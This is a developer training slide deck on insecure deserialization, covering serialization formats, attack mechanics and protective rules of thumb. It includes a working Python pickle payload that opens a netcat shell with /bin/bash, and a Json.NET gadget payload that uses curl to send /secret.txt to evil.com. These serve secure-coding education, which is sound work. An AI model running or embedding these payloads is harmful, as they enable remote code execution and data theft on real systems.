Dev Training

# Dev Training
### Insecure Deserialization

## Overview

### Serialization

Process of converting an object to a format that can be restored later

### Deserialization

* Reverse process, building an object from a structured format
* JSON most popular today
* Feature-rich language specific formats exist
    * Python: Pickle
    * PHP: serialized objects
    * Java: `Serializable`

## Deserialization

### Native deserialization

* Language specific
* Usually very feature rich
    * Allow for serialization into arbitrary objects
* Usually not meant for user input
* Examples
    * Pickle
    * PHP serialized objects

### General deserialization

* Strongly typed languages often serialize data formats into objects
    * URL parameters, JSON, XML, YAML

## Insecure deserialization

### What is it?

Deserialization to native object modifies application logic or allows for remote code execution

### Why does this happen?

* Feature-rich serialization methods allow serialization of objects
* Serialization can be caused to trigger function calls in serialized object
    * Attacker can execute arbitrary code

### Python/pickle

```python
import pickle

COMMAND = "netcat -lp 4444 -e '/bin/bash -i'"
class PickleRce(object):
    def __reduce__(self):
        import os
        return (os.system,(COMMAND,))

print(pickle.dumps(PickleRce()))
```

```text
b"\x80\x04\x95<\x00\x00\x00\x00\x00\x00\x00\x8c
\x05posix\x94\x8c\x06system\x94\x93\x94\x8c!
netcat -lp 4444 -e '/bin/bash -i'\x94\x85\x94R\x94."
```
Note: we create an object and pickle/serialize it. pickle.dumps() is used to pickle (serialize) the data and it takes a variable, function or class to be pickled as its argument.

### .Net/JSON

```
public static object Deserialize(string json)
{
    return JsonConvert.DeserializeObject<object>(json,
        // Include TypeNameHandling.All to
        // allow for a more smooth casting and check
        new JsonSerializerSettings
            { TypeNameHandling = TypeNameHandling.All });
}
```

### .Net/JSON

```json
{
    "$type":"System.Windows.Data.ObjectDataProvider, ...",
    "MethodName":"Start",
    "MethodParameters":{
        "$type":"System.Collections.ArrayList, mscorlib, ...",
        "$values":[
            "cmd",
            "/ccurl -d @/secret.txt http://evil.com"
        ]
    },
    "ObjectInstance":{
        "$type":"System.Diagnostics.Process, ..."
    }
}
```

## Protection

### Avoidance

* If possible, don't deserialize untrusted data
* Never deserialize untrusted data in a serialization format that was not
  intended for that purpose

### Dynamically typed languages

* Usually parse pure data formats (e.g., JSON) into native data structures
    * Python: `json.loads`
* Be careful with YAML
    * E.g., Ruby and Python untrusted YAML must be loaded safely

### Statically typed languages

* Language specific, but in general
* Choose a library carefully
    * Avoid libraries without strict type controls
    * Never use user-supplied data to control the expected type
    * Serialize to specific types

## Rules of thumb

### Avoidance

Don't deserialize untrusted data

### But if you have to

* Never trust user supplied types
* Always serialize to specific objects, not general ones

## Epilogue

### Further reading

* [OWASP - Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
* [STOP Insecure Deserialization with C#](https://medium.com/@tiagodaraujo/stop-insecure-deserialization-with-c-6a488c95cf2f)
* [Surviving the Java Deserialization Apocalypse](https://www.youtube.com/watch?v=m1sH240pEfw)

### Hall of fame

* [Java Deserialization Apocalypse](https://www.zdnet.com/article/java-unserialize-remote-code-execution-hole-hits-commons-collections-jboss-websphere-weblogic/)
* [Insecure Deserialization in Oracle library](https://www.thezdi.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server)